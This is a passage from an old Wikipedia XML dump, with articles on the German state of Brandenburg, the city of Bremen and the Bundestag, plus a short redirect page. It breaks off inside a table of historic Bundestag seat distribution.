In late medieval and early modern times, Brandenburg was one of seven [[Elector]]ships of the [[Holy Roman Empire]], and, along with [[Prussia]], formed the original core of the modern federal state of [[Germany]]. It contained the future German capital [[Berlin]] and since [[1618]] both Brandenburg and [[Prussia]], then [[Brandenburg-Prussia]], were ruled by  [[Hohenzollern]] dukes and later kings of [[Prussia]]. The Frankish [[Nuremberg]], Ansbach and southern German [[Hohenzollern]] and the eastern European connections of Berlin and the [[prince-elector]] together were instrumental in the rise of that state. 

Brandenburg is situated entirely in territory of Germania recorded by [[Tacitus]] in [[98]] AD. By [[600]] first groups of Slavic people arrived. In [[948]] Emperor [[Otto I the Great]] established German control over the now largely Slavic inhabitants of the area and founded the [[diocese]]s of [[Havelberg]] and Brandenburg; he died in [[983]]. In the great uprising in [[983]] the [[Slavs]] wiped out German control from the territory of present day Brandenburg. The monasteries were buried, priests and Germans officials killed or expelled. The [[Slavic tribes]] living east of [[Elbe]] remained independent and pagan for the next 150 years.

===12th Century===

In the beginning of the [[12th century]] the [[Saxony|Saxon]] German kings and emperors conquered the Slavic-inhabited lands of present-day Brandenburg. Many Slavic inhabitants survived the conquests and live there still today - [[Sorbs]], [[Lusatians]].  The church brought bishoprics, which with their walled towns, afforded protection for the townspeople from attack. With the monks and bishops, the history of the town of [[Brandenburg (town)|Brandenburg]], which in time became the state of Brandenburg, began. In [[1134]], in the wake of a German crusade against the [[Wends]], the German magnate [[Albert the Bear]] was granted the [[Northern March]] by the [[Holy Roman Empire|Holy Roman Emperor]] [[Lothair II, Holy Roman Emperor|Lothar II]]. For some time up until the [[15th century]], some part of the area that would become Brandenburg was inhabited by the Slavic [[Wends]], who still make up a part of the area's modern population.

Albert's control of the region was nominal for several decades, but he engaged in a variety of campaigns against the Wends, as well as more diplomatic efforts which saw his control become more real by the middle of the century. In [[1150]], he formally inherited Brandenburg from its last Wendish ruler, [[Pribislav]]. Albert, and his descendants the [[Ascanian]]s, then made considerable progress in Christianizing and cultivating the lands. There was never any distinction made by any of the German rulers and the Slavic and German tribes intermarried.

===13th Century===

In [[1320]] the Brandenburg Ascanian line came to an end, and from [[1323]] until [[1373]] Brandenburg was under the control of the [[Wittelsbach]] family, better known as rulers of [[Bavaria]]. After a period of rule by the Imperial [[House of Luxembourg|Luxembourg]] dynasty, however, the margravate was granted [[1415]] by the Emperor [[Sigismund, Holy Roman Emperor|Sigismund]] to the house of [[Hohenzollern]], which would rule until the end of [[World War I]]. From [[1356]] until the Empire's end in [[1806]], the [[Margrave of Brandenburg]] was also one of the electors of the Holy Roman Empire.

===16th Century===

Brandenburg was one of the German states to switch in [[1539]] to [[Protestantism]] in the wake of the [[Reformation]], and generally did quite well in the century following, as the dynasty expanded its lands to include the [[Duchy of Prussia]] in [[1618]] and along the lower Rhine [[Duchy of Cleves]] ([[1614]]) and elsewhere. The result was a sprawling, disconnected country that was in poor shape to defend itself during the [[Thirty Years' War]]. 

Towards the end of that devastating conflict and after, however, Brandenburg (and its [[successor state]]s) enjoyed a string of talented rulers who gradually maneuvered their country towards the heights of power in Europe. The first of these was [[Frederick William I]], the so-called &quot;Great Elector&quot;, who worked tirelessly to rebuild and consolidate the nation. He moved the capital from the town of Brandenburg to [[Potsdam]].

When Frederick William died in [[1688]], he was followed by his son [[Friedrich I of Prussia|Frederick]], third of that name in Brandenburg. As the lands that had been acquired in Prussia were outside the formal boundaries of the Holy Roman Empire, Frederick assumed (as Frederick I) the title of &quot;King in Prussia&quot; ([[1701]]), basing this promotion from margrave on his title to what were, in actuality, vast but less agriculturally valuable stretches of sandy ground. Brandenburg was still the most important portion of the kingdom (and the state was often referred to informally as Brandenburg-Prussia) but for the purposes of accuracy, the continuation of this history can be found at [[Prussia]].

When Prussia was subdivided into provinces in [[1815]], the territory of the Margraviate of Brandenburg became the '''Province of Brandenburg'''. In [[1881]], the City of [[Berlin]] was separated from the Province of Brandenburg. Brandenburg had an area of 39,039 km² and a population of 2.6 million (1925). After [[World War II]], those parts of Brandenburg that were east of the [[Oder-Neiße Line]] were annexed by [[Poland]]; the remainder of the province became a state when Prussia was dissolved in [[1947]]. The State of Brandenburg was dissolved in [[1952]] by the government of [[East Germany]].

===Reunification===

The present State of Brandenburg was established after [[German reunification]] in [[1990]]. In [[1995]] the governments of Berlin and Brandenburg proposed to merge the states in order to form a new state with the name of '''Berlin-Brandenburg'''. The merger was rejected in a [[plebiscite]] in [[1996]]: While West Berliners voted for a merger, East Berliners and Brandenburgers voted against it.

==List of minister presidents of Brandenburg==

For earlier rulers, see [[List of rulers of Brandenburg]].

# [[1947]] - [[1949]]: [[Karl Steinhoff]] ([[Socialist Unity Party of Germany|SED]], formerly [[Social Democratic Party of Germany|SPD]])
# [[1949]] - [[1952]]: [[Rudolf Jahn]] (SED)
# [[1990]] - [[2002]]: [[Manfred Stolpe]] (SPD)
# since [[2002]]: [[Matthias Platzeck]] (SPD)

== Miscellaneous ==

Brandenburg is served by the same three airports that serve [[Berlin]]. They are [[Tegel International Airport]], [[Tempelhof International Airport]], and [[Schönefeld International Airport]]. Schönefeld Airport will eventually become [[Berlin-Brandenburg International Airport]], while Tegel and Tempelhof will close after BBI is established.

==External links==

* State's official website: http://www.brandenburg.de/
* For more information see Brandenburg at: [http://www.vdiest.nl/Europa/Germany/brandenburg.htm]

{{Germany_states}}

[[Category:States of Germany]]
[[Category:Brandenburg]]
[[Category:States of the Holy Roman Empire]]
[[Category:Provinces of Prussia]]

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[[ko:브란덴부르크 주]]
[[hr:Brandenburg]]
[[id:Brandenburg]]
[[it:Brandeburgo]]
[[he:ברנדנבורג]]
[[ka:ბრანდენბურგი (მხარე)]]
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[[uk:Бранденбурґ]]
[[zh:勃兰登堡]]</text>
    </revision>
  </page>
  <page>
    <title>Bremen (city)</title>
    <id>3766</id>
    <revision>
      <id>40893426</id>
      <timestamp>2006-02-23T18:43:35Z</timestamp>
      <contributor>
        <username>Kelisi</username>
        <id>173996</id>
      </contributor>
      <minor />
      <comment>/* Sister City */</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Bremen|
name_local = |
image_coa =  Mittleres Wappen Bremen.png|
image_map =  Lage der kreisfreien Stadt Bremen in Deutschland.gif|
state = [[Bremen (state)]]|
regbzk = |
district = [[List of German urban districts|urban district]]|
population = 545,869|
population_as_of = 2005|
population_ref = [http://www.statistik.bremen.de/aktuelle_statistiken/AI1_m.pdf source]|
pop_dens = 1,671|
area = 326.72|
elevation = 12|
lat_deg = 53| 
lat_min = 4|
lat_hem = N|
lon_deg = 8|
lon_min = 49|
lon_hem = E|
postal_code = 28001–28779|
area_code = 0421|
licence = HB|
mayor = [[Jens Böhrnsen]] ([[Social Democratic Party of Germany|SPD]])|
website = [http://www.bremen.de/ bremen.de]|
}}
[[image:Weser watershed 3.png|thumb|The river Weser flows through Bremen to the estuary at Bremerhaven.]]

'''Bremen''' {{IPA|[&amp;#x02c8;bre&amp;#x02d0;mən]}} is a city in northern [[Germany]] (official name: '''Freie Hansestadt Bremen'''&lt;sup&gt;&lt;small&gt;[[#Footnotes|1]]&lt;/small&gt;&lt;/sup&gt; (''Free Hanseatic City of Bremen''), referring to its membership in the medieval [[Hanseatic League]]). It is a port city, situated along the [[Weser River|river Weser]], about 50 km south from its outflow into the [[North Sea]]. Bremen is one of two towns belonging to the [[States of Germany|state]] of [[Bremen (state)|Bremen]], the other being [[Bremerhaven]]. Population: 545,983 (1st June 2005).

==Politics==
The ''Bürgerschaft'' (city assembly) is the parliament of the Free Hanseatic City of Bremen (official name, German: ''Freie Hansestadt Bremen''), which is voted for by the citizens of Bremen every four years. 

One of the two mayors (''Bürgermeister'') is elected President of the Senate (''Präsident des Senats'') and serves as head of the city state. The current ''[[Mayor of Bremen|President of the Senate of Bremen]]'' is [[Jens Böhrnsen]].

==History ==
In the [[8th century]] the troops of [[Charlemagne]] advanced to the Weser in order to [[christianise]] the tribes settling here. Bremen, which may have been an older settlement, became a bishopric&lt;sup&gt;&lt;small&gt;[[#Footnotes|2]]&lt;/small&gt;&lt;/sup&gt;; a deed claiming the town's foundation in [[788]] has now been recognised as a forgery, so the exact date is unknown. In the following centuries the bishops of Bremen were the driving force behind the [[Christianisation]] of [[Scandinavia]].

In the [[12th century]] the power of the archbishops was challenged by [[Henry the Lion]]. The duke was successful and became the factual ruler of the town. These events led to a civil government and a loss of clerical power. Bremen became a merchants' town, and its ships dominated the southern portions of the [[North Sea]]. This dominance ended when the [[Hanseatic League]], originally a trade alliance of the [[Baltic Sea]] only, expanded to the North Sea. In the early [[14th century]] ships from Bremen acted as [[pirate]]s to board hanseatic cogs. In order to avoid open war aldermen from Bremen went to the Hanseatic Council in [[Lübeck]] and agreed to becoming members of the league ([[1358]])&lt;sup&gt;&lt;small&gt;[[#Footnotes|3]]&lt;/small&gt;&lt;/sup&gt;.

Bremen remained a reluctant member of the Hanseatic League. The town demanded support for its wars against the chieftains of [[Frisia]], who ruled the region around the Weser mouth, but they seldom joined campaigns in the Baltic Sea. In [[1425]] the conflict escalated, when the citizens burnt hanseatic documents on the market place. Bremen was expelled from the league in [[1427]]. The consequences followed soon: the sudden loss of power led to territorial claims of neighbouring states (e.g. [[Oldenburg]]) and significant territorial losses.
[[Image:Flag of Bremen.svg|thumb|left|Flag of Bremen, possibly inspired the [[Stars and Stripes]] ]]

{| align=right
|[[image:bremen.rathaus.750pix.jpg|thumb|right|250px|The town hall (Rathaus).]]
|-
|[[image:bremen.square.750pix.jpg|thumb|right|250px|The main square (Market Square).]]
|-
|[[image:bremen.cathedral.500pix.jpg|thumb|right|250px|The cathedral of St.Petri in Market Square.]]
|-
|[[image:bremen.pigs.750pix.jpg|thumb|right|252px|Swineherd and pigs sculpture in Bremen.]]
|-
|[[Image:weserhb.jpg|thumb|250px|left|The Weser river in Bremen]]
|-
|[[Image:Bremen-4muscians.jpg|250px|thumb|left|The Four musicians of Bremen]]
|-
|[[Image:Bremen-Roland.jpg|250px|thumb|left|The Statue of Roland]]
|-
|[[Image:Bremen-Becks_Brewery.jpg|250px|thumb|left|Beck &amp; Co ]]
|-
|[[Image:Bremen-Böttcherstraße-wall.jpg|250px|thumb|left|A wall in the Böttcherstraße Street]]
|-
|[[Image:Bremen_Böttcherstraße_Street_Statues.jpg|250px|thumb|left|Statues in a wall (Böttcherstraße Street)]]
|-
|[[Image:Bremenbank.jpg|250px|thumb|left|Bremen Bank]]
|-
|[[Image:Bremen Windmill.jpg|250px|thumb|left|Windmill near the Am Wall]]
|-
|[[Image:Bremen Townhall Whalejaws.jpg|250px|thumb|left|Jaws of a Whale inside the city town hall]]
|}

In [[1620]] Germany's first man-made [[Harbor|harbour]] was built at [[Bremen-Vegesack|Vegesack]]. &lt;sup&gt;&lt;small&gt;[[#Footnotes|6]]&lt;/small&gt;&lt;/sup&gt;

On [[March 6]], [[1901]] an assassin attempted to kill [[Wilhelm II of Germany]] here.

After [[World War II]], Bremen became a part of the [[Allied Occupation Zones in Germany|American occupation zone]] since the [[United States|USA]] wanted to have one port town within their zone. This prevented the inclusion of Bremen into the new Land of [[Lower Saxony]] that was formed around it within the British zone, and secured Bremen independence as a Federal State of its own right in the new [[West Germany|West German federation]].

=== Historical population ===
:1810: 35,800 inhabitants
:1830: 43,700
:1850: 55,100
:1880: 111,900
:1900: 161,200
:1925: 295,000
:1998: 550,000 &lt;sup&gt;&lt;small&gt;[[#Footnotes|4]]&lt;/small&gt;&lt;/sup&gt;

== Sights ==
Many of the sights in Bremen are found in the ''Altstadt'' (Old Town), an oval area surrounded by the Weser River, on the southwest, and the ''Stadtgraben'', the former moats of the medieval city walls, on the northeast. The oldest part of the Altstadt is the southeast half, starting with the Marktplatz and ending at the Schnoor district.

* The Marktplatz (Market square) is dominated by the opulent façade of the Town Hall. The building was erected between 1405 and 1410 in Gothic style, but the façade was built two centuries later (1609-12), in Renaissance style. 

* In front of the Town Hall stand two famous statues: one is the statue (1404) of the city's protector, [[Roland]], bearing the &quot;sword of justice&quot; and a shield decorated with an imperial eagle. The other is Gerhard Marcks's famous 1953 bronze sculpture ''Die Stadtmusikanten'' ([[Town Musicians of Bremen|Town Musicians]]) which portrays the donkey, dog, cat, and rooster of the [[Brothers_Grimm|Grimm Brothers]]' fairy tale. 

* Other interesting buildings in the vicinity of the Marktplatz are the ''Schütting'', a 16th-century Flemish-inspired guild hall, and the ''Stadtwaage'', the former weighing house (built in 1588), with an ornate Renaissance façade.

* The impressive Cathedral St. Petri (13th century), to the east of the Marktplatz, with sculptures of [[Moses]] and [[David]], [[Saint Peter|Peter]] and [[Paul of Tarsus|Paul]], and Charlemagne.

* The ''Liebfrauenkirche'' (Our Lady's Church) is the oldest church of the town (11th century). Its crypt features several impressive murals from the 14th century. 

* Off the south side of the Markplatz, the 110-metre (120 yards) Böttcherstraße was transformed in 1923-1931 by the coffee Magnate [[Ludwig Roselius]], who commissioned local artists to convert the narrow street (in medieval time, the street of the barrel makers) into an inspired mixture of [[Gothic_art|Gothic]] and [[Art Nouveau]]. Today, the street is one of Bremen's most popular attractions. 

* At the end of Böttcherstraße, by the Weser bank, stands the ''Martinikirche'' (St Martin's Church), a Gothic brick church built in 1229, and rebuilt in 1960 after its destruction in World War II.

* Tucked away between the Cathedral and the river is the ''Schnoor'', a small, well-preserved area of crooked lanes and fishing houses from the 15th and 16th centuries, now occupied by cafés, artisan shops and art galleries.

* Schlachte, the medieval harbour of Bremen (the modern port is some kilometres downstream) and today a street with one pub/bar next to the other on the one side and on the other side the river Weser.

More contemporary tourist attractions include:

* ''Universum Science Center'', a modern science museum
* ''botanika'', an extension to a public park that attempts to the same as above ''Universum'' for biology
* ''Beck's Beer Factory'', tours are available to the public which include beer tasting
* The Space Center opened in [[2004]] inside the Space Park in the Gröpelingen district and closed on 2004 [[26 September]], since then a remarkable investment ruin.
* The [[Kunsthalle Bremen]], an art museum with paintings from the 19th and 20th century

== Constructions ==
* [[Mediumwave transmitter Bremen]]
* [[Fallturm Bremen]]
* [[Telecommunication Tower Bremen]]

== Sister City ==
Bremen's [[Sister City|Sister Cities]] are
* [[Image:Flag of Poland.svg|25px|]] [[Gdańsk]], [[Poland]]
* [[Image:Flag of India.svg|25px|]] [[Pune]], [[India]]
* [[Image:Flag of Latvia.svg|25px|]] [[Riga]], [[Latvia]]
* [[Image:Flag of South Africa.svg|25px|]] [[Durban]], [[South Africa]]
* [[Image:Flag of Turkey.svg|25px|]] [[İzmir]], [[Turkey]]

== Miscellaneous ==
Bremen has a large and famous [[University of Bremen|university]] founded in 1971 &lt;sup&gt;&lt;small&gt;[[#Footnotes|5]]&lt;/small&gt;&lt;/sup&gt;, the more practice-related [[Hochschule Bremen|University of Applied Sciences]] (earliest predecessor founded in 1799) more recently the [[International University Bremen]], and several high-tech industries have settled in the city. Many of Germany's space technology exports are manufactured in [[EADS SPACE Transportation]] facilities in Bremen, such as the [[Columbus (ISS module)|Columbus]] module of the [[International Space Station]], Europe's [[Ariane 5]] rocket upper stages and the [[Automated Transfer Vehicle]]. Furthermore, Bremen is the home of the second biggest [[Airbus]] plant of Germany, producing wing equipment for the [[A300]]/[[A310]], [[A330]]/[[A340]] and [[A380]] families of aircraft.
There is also a [[Mercedes-Benz]] factory in Bremen, building the [[Mercedes-Benz C-Class|C]], [[Mercedes-Benz CLK-Class|CLK]], [[Mercedes-Benz SL-Class|SL]], and [[Mercedes-Benz SLK-Class|SLK]] series of cars.
[[Beck's]] beer is brewed in Bremen.

Bremen has an [[Bremen Airport|international airport]] situated in the south of the city ([[ICAO]] code: EDDW / [[IATA]] code: BRE).

It is home of the [[soccer]] team SV [[Werder Bremen]] which won the German Football Championship for the fourth and the German Football Cup for the fifth time in 2004, making SV Werder Bremen just the fourth team in German football history to win the double. 

Bremen is famous for a fairy tale by the [[Brothers Grimm]], the [[Town Musicians of Bremen]], although they never actually reach Bremen in the tale.

Every year since 1036 in the last two weeks of October Bremen hosts [[Freimarkt]] (&quot;Free market&quot;), one of the world's oldest and in Germany one of today's biggest continuously celebrated fairground festival.

Bremen is also host to one of the four big annual [[Techno music|Techno]] parades, the [[Vision Parade]], and also the birthplace of the American comedic [[industrial music|industrial]] musician [[Kompressor]].

In October-November 2005, Bremen hosted the 14th [[ACM]] Conference on Information and Knowledge Management ([[CIKM]][http://www.tzi.de/CIKM2005/])

== See also ==
* [[List of Mayors of Bremen]]

== External links ==
{{commons|Bremen}}
* [http://www.bremen.de/ Official city website]
* [http://www.bremen-tourism.de/ Official visitors information (various languages)]
* [http://www.uni-bremen.de/ University of Bremen]
* [http://www.hs-bremen.de Hochschule or University of applied sciences]
* [http://www.iu-bremen.de/ International University Bremen]
* [http://www.panorama-cities.net/bremen/bremen.html City Panoramas Bremen] - Panoramic Views of Bremen's Highlights
* [http://www.freimarkt.de/en/index.htm Freimarkt website]

=== History links ===
* http://www.genealogy.net/reg/BRE (Genealogical research in Bremen)
* http://www.schiffslisten.de (Database: Emigration via Bremen Ports 1920 - 1939)
* http://maus.genealogy.net (Die MAUS - Genealogical society of Bremen)
* http://www.historic.de (Military History of Bremen 1933-1945)

==References==
*&lt;div id=&quot;Kohl&quot; /&gt;{{cite book | author=Tristam Carrington-Windo, Katrin M. Kohl | title=A Dictionary of Contemporary Germany | publisher=Routledge (UK) | year=1998 | id=ISBN 1579581145}} [http://print.google.com/print?id=mnPfmoPlrwIC&amp;lpg=64&amp;pg=64&amp;sig=6px9XGkkC3_T_P8U2WftxKu8160 page 64]&lt;/div&gt;
*&lt;div id=&quot;Gutmann&quot; /&gt;{{cite book | author=Jürg Andermatt and Hermann Gutmann | title=Bremen | publisher=J. H. Döll, Bremen | year=1986 | id=ISBN 3888080444}}&lt;/div&gt;

==Footnotes==
*&lt;sup&gt;&lt;small&gt;1&lt;/small&gt;&lt;/sup&gt; [[#Kohl|Kohl]] since 1815
*&lt;sup&gt;&lt;small&gt;2&lt;/small&gt;&lt;/sup&gt; [[#Kohl|Kohl]] claims the Bishopric was created in [[787]]
*&lt;sup&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sup&gt; [[#Kohl|Kohl]]
*&lt;sup&gt;&lt;small&gt;4&lt;/small&gt;&lt;/sup&gt; [[#Kohl|Kohl]] population of around 550,000 in [[1998]] includes 25,000 students
*&lt;sup&gt;&lt;small&gt;5&lt;/small&gt;&lt;/sup&gt; [[#Kohl|Kohl]]


[[Category:Bremen]]
[[Category:Cities in Germany]]
[[Category:German state capitals]]
[[Category:Hanseatic League]]

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[[ar:بريمن (مدينة)]]
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[[fa:برمن]]
[[fr:Brême (ville)]]
[[ko:브레멘]]
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[[ru:Бремен]]
[[simple:Bremen]]
[[sk:Brémy]]
[[sv:Bremen]]
[[zh:不来梅]]</text>
    </revision>
  </page>
  <page>
    <title>Federal Chancellor</title>
    <id>3767</id>
    <revision>
      <id>21507206</id>
      <timestamp>2005-08-21T17:03:13Z</timestamp>
      <contributor>
        <username>Silverhelm</username>
        <id>385771</id>
      </contributor>
      <comment>Destination of redirect changed from &quot;Chancellor&quot; to &quot;Bundeskanzler&quot;</comment>
      <text xml:space="preserve">#redirect [[Bundeskanzler]]</text>
    </revision>
  </page>
  <page>
    <title>Bundestag (Germany)</title>
    <id>3768</id>
    <revision>
      <id>41583184</id>
      <timestamp>2006-02-28T08:05:01Z</timestamp>
      <contributor>
        <username>Viking880</username>
        <id>719668</id>
      </contributor>
      <comment>moved image</comment>
      <text xml:space="preserve">{{PoliticsGermany}}

The '''Bundestag''' (&quot;Federal [[diet (assembly)|Diet]]&quot;) is the [[parliament]] of [[Germany]]. It was established with [[Germany]]'s constitution of [[1949]] (the ''[[Basic Law of the Federal Republic of Germany|Grundgesetz]]),'' and is the successor of the earlier ''[[Reichstag (institution)|Reichstag]]''. Current [[German order of precedence|Bundestag President]] is [[Norbert Lammert]]. 

[[Image:Bundestag.jpg|thumb|right|350px|The Bundestag in Berlin. Speaking is [[President of the United States|US President]] [[George W. Bush]]]]



==History==
The ''Bundestag'' was also the nickname of the governing body of the [[German Confederation]] from 1815-1866 (officially called ''Bundesversammlung'', &quot;Federal Assembly&quot;). This body met in Frankfurt and was presided over by the [[Austria|Austrian]] delegate.  As one of the chief instruments of the reactionary forces opposed to [[democracy]] and [[nationalism]], it was dissolved during the liberal revolution of 1848 but reconvened in 1850.  It is a predecessor to the modern Bundestag in name only.  While the modern parliament is elected by the people, the Bundestag of the German Confederation was appointed by the various princes and the governments of the free cities.

With the dissolution of the German Confederation in 1866 and the founding of the German Empire in 1871, the Reichstag was established as the German parliament in Berlin, and the current parliament building was erected. The Reichstag delegates were elected by direct and equal male suffrage (and not the three-class electoral system prevailing in Prussia until 1918). The Reichstag did not participate in the appointment of the Chancellor until the parliamentary reforms of October 1918. After the Revolution of November 1918 and the establishment of the Weimar Constitution, women were given the right to vote for (and serve in) the Reichstag, and the parliament could use the no-confidence vote to force the chancellor or any cabinet member to resign. The Reichstag ceded its powers to the Reich Government of Chancellor Adolf Hitler in 1933 by passing the infamous [[Enabling Act]]. Afterward it met only rarely to unanimously rubber-stamp the decisions of the government. It was last convened on [[26 April]] [[1942]]. 

With the new constitution of 1949, the Bundestag was established as the new (West) German parliament.  Because [[West Berlin]] was not officially under the jurisdiction of the Constitution and because of the [[Cold War]], the Bundestag met in [[Bonn]] in several different buildings, including (provisionally) a former water works facility.  The former Reichstag building housed a history exhibition (&quot;Fragen an die deutsche Geschichte&quot;) and served occasionally as a conference center.  

Since [[1999]], the German parliament has again assembled in [[Berlin]] in its original [[Reichstag (building)|''Reichstag'']] building, which is still known as the Reichstag. This building dates from the 1870's and burned in 1933, never being actually repaired. It underwent a significant renovation under the lead of British architect [[Norman Foster|Lord Foster of Thames Bank]].

In 2005, a small airplane crashed close to the German parliament. It was then decided to ban private air traffic over Central Berlin.

==Tasks==
Together with the [[Bundesrat (Germany)|''Bundesrat'']], the ''Bundestag'' forms the [[legislative branch]] of the [[Politics of Germany|German political system]]; Germany does not have a bicameral parliament in the strict sense though (see [[Bundesrat (Germany)|''Bundesrat'']] for details). 


[[Image:Bundestag2.jpg|thumb|250px|right|The Bundestag in Berlin. Speaking is [[President of the French Republic|French President]] [[Jacques Chirac]], who is hugely overshadowed by the [[Federal Eagle]].]]

Although most legislation is initiated by the executive branch, the ''Bundestag'' considers the legislative function its most important responsibility, concentrating much of its energy on assessing and amending the government's legislative program. The committees (see below) play a prominent role in this process. Plenary sessions provide a forum for members to engage in public debate on legislative issues before them, but they tend to be well attended only when significant legislation is being considered. 

The ''Bundestag'' members are the only federal officials directly elected by the public; the ''Bundestag'' in turn elects the [[Chancellor of Germany|Chancellor]] and, in addition, exercises oversight of the executive branch on issues of both substantive policy and routine administration. This 
check on executive power can be employed through binding legislation, public debates on government policy, investigations, and direct questioning of the chancellor or cabinet officials. For example, the ''Bundestag'' can conduct a question hour ''(Fragestunde),'' in which a government representative responds to a previously submitted written question from a member. Members can ask related questions during the question hour. The questions can concern anything from a major policy issue to a specific constituent's problem. Use of the question hour has increased markedly over the past forty years, with more than 20,000 questions being posed during the 1987-90 term. Understandably, the opposition parties are active in exercising the parliamentary right to scrutinize government actions.

One striking difference when comparing the ''Bundestag'' with the [[Congress of the United States|U.S. Congress]] is the lack of time spent on serving constituents in Germany. In part, that difference results from the fact that only 50 percent of ''Bundestag'' deputies are directly elected to represent a specific geographic district; the other half are elected as party representatives (see below). The political parties are thus of great importance in Germany's electoral system, and many voters tend not to see the candidates as autonomous political personalities but rather as agents of the party. Interestingly, constituent service seems not to be perceived, either by the electorate or by the representatives, as a critical function of the legislator. A practical constraint on the expansion of constituent service is the limited personal staff of ''Bundestag'' deputies.

Constituent service does, however, take place in the form of the Petition Committee, rather than through individual delegates.  In 2004, the Petition Committee received over 18,000 complaints from citizens and was able to negotiate a mutually satisfactory solution to more than half of them.

==Election==
Members serve four-year terms; elections are held every four years, or earlier in the relatively rare case that the Bundestag is being dissolved prematurely by the [[President_of_Germany|President]] on the recommendation of the [[Chancellor of Germany|Chancellor]], which has happened three times as of [[2005]]: [[1972]] under chancellor [[Willy Brandt]], [[1982]] under chancellor [[Helmut Kohl]] and 2005 under chancellor [[Gerhard Schröder]]. All candidates must be at least eighteen years old; there are no term limits. The election uses the [[Mixed member proportional representation|MMP electoral system]], a hybrid of the [[first-past-the-post election system]] and [[party-list proportional representation]]. In addition, the ''Bundestag'' has a minimum threshold of either 5% of the national party vote or three (directly elected) constituency representatives for a [[political party|party]] to gain additional representation through the system of proportional representation; thus, small (and often extremist) minority parties cannot so easily prevent the formation of stable majority governments as they could under the Weimar constitution. The additional member system results in a varying number of seats; since the 2002 elections, there have been 603 seats. The distribution of the seats is calculated by the [[Largest remainder method]]. The additional seats are distributed to ensure that the combined total of direct and additional seats is proportional to the vote; this is calculated separately for each [[States of Germany|state]] . Sometimes parties win more seats directly than what their proportional share would entitle them to - these are known as [[overhang seat]]s. Unlike the situation in some German state parliaments, overhang seats are not compensated in the Bundestag

==Election result==
{{German_federal_election,_2005}}
==Seats by party (16th Bundestag, since general election on September 18th, 2005)==
[[Image:German federal election, 2005 - Final.png|frame|left|Distribution of seats in the 16th Bundestag.]]

&lt;table border=&quot;0&quot;&gt;
&lt;tr&gt;
  &lt;td style=&quot;background-color: black; color: black&quot;&gt;+&lt;/td&gt;
  &lt;td&gt;[[Christian Democratic Union|CDU]] and [[Christian Social Union|CSU]]:&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;226&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;(36.8%)&lt;/td&gt;
  &lt;td&gt;including 7 [[overhang seat]]s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background-color: red; color: red&quot;&gt;+&lt;/td&gt;
  &lt;td&gt;[[Social Democratic Party of Germany|SPD]]:&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;222&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;(36.2%)&lt;/td&gt;
  &lt;td&gt;including 9 overhang seats&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background-color: yellow; color: yellow&quot;&gt;+&lt;/td&gt;
  &lt;td&gt;[[Free Democratic Party (Germany)|FDP]]:&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;61&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;(9.9%)&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background-color: #DD0066; color: #DD0066&quot;&gt;+&lt;/td&gt;
  &lt;td&gt;[[Left Party (Germany)|Left Party]]:&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;54&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;(8.8%)&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background-color: green; color: green&quot;&gt;+&lt;/td&gt;
  &lt;td&gt;[[Alliance '90/The Greens|Alliance '90/Greens]]:&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;51&lt;/td&gt;
  &lt;td align=&quot;right&quot;&gt;(8.3%)&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

For a list of current members, see the [[List of Bundestag Members]].

==List of Bundestage by Session==
===Historic seat distribution in the German Bundestag===
{||border=0 cellpadding=&quot;2&quot; cellspacing=&quot;1&quot;
| style=&quot;background:#FFDEAD;&quot; colspan=&quot;10&quot; align=&quot;center&quot; | '''Historic seat distribution in the German Bundestag (at the beginning of each session)''' 
|- style=&quot;background:#FFDEAD;&quot;
! width=&quot;32&quot;  | '''&amp;nbsp;'''
! width=&quot;100&quot; | '''Session'''
! width=&quot;32&quot;  | '''Seats'''
! width=&quot;100&quot; | '''[[Christian Democratic Union (Germany)|CDU]]/[[Christian Social Union in Bavaria|CSU]]'''
! width=&quot;100&quot; | '''[[Social Democratic Party of Germany|SPD]]'''
! width=&quot;100&quot; | '''[[Free Democratic Party (Germany)|FDP]]'''
! width=&quot;100&quot; | '''[[Alliance '90/The Greens|Alliance '90 /&lt;br&gt;The Greens]]'''&lt;sup&gt;1&lt;/sup&gt;
! width=&quot;100&quot; | '''[[Left Party (Germany)|Left Party]]'''&lt;sup&gt;2&lt;/sup&gt;
! width=&quot;100&quot; | '''[[German Party]]'''
! '''Others'''
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''1st'''
| align=&quot;center&quot; |'''1949 – 1953'''
| align=&quot;center&quot; |402
| align=&quot;center&quot; |139
| align=&quot;center&quot; |131
| align=&quot;center&quot; |52
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |17
| align=&quot;center&quot; |[[Bavarian Party]] 17, [[Communist Party of Germany]] 15, [[Economic Development Coalition]] (WAV) 12, [[Centre Party (Germany)|German Centre Party]] 10, [[DKP-DRP]] 5, [[South Schleswig Voter Federation]] 1, Independent 3
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''2nd'''
| align=&quot;center&quot; |'''1953 – 1957'''
| align=&quot;center&quot; |487
| align=&quot;center&quot; |243
| align=&quot;center&quot; |151
| align=&quot;center&quot; |48
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |15
| align=&quot;center&quot; |[[All-German Bloc/League of Expellees and Deprived of Rights]] (GB-BHE) 27, [[Centre Party (Germany)|German Centre Party]] 3
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''3rd'''
| align=&quot;center&quot; |'''1957 – 1961'''
| align=&quot;center&quot; |497
| align=&quot;center&quot; |270
| align=&quot;center&quot; |169
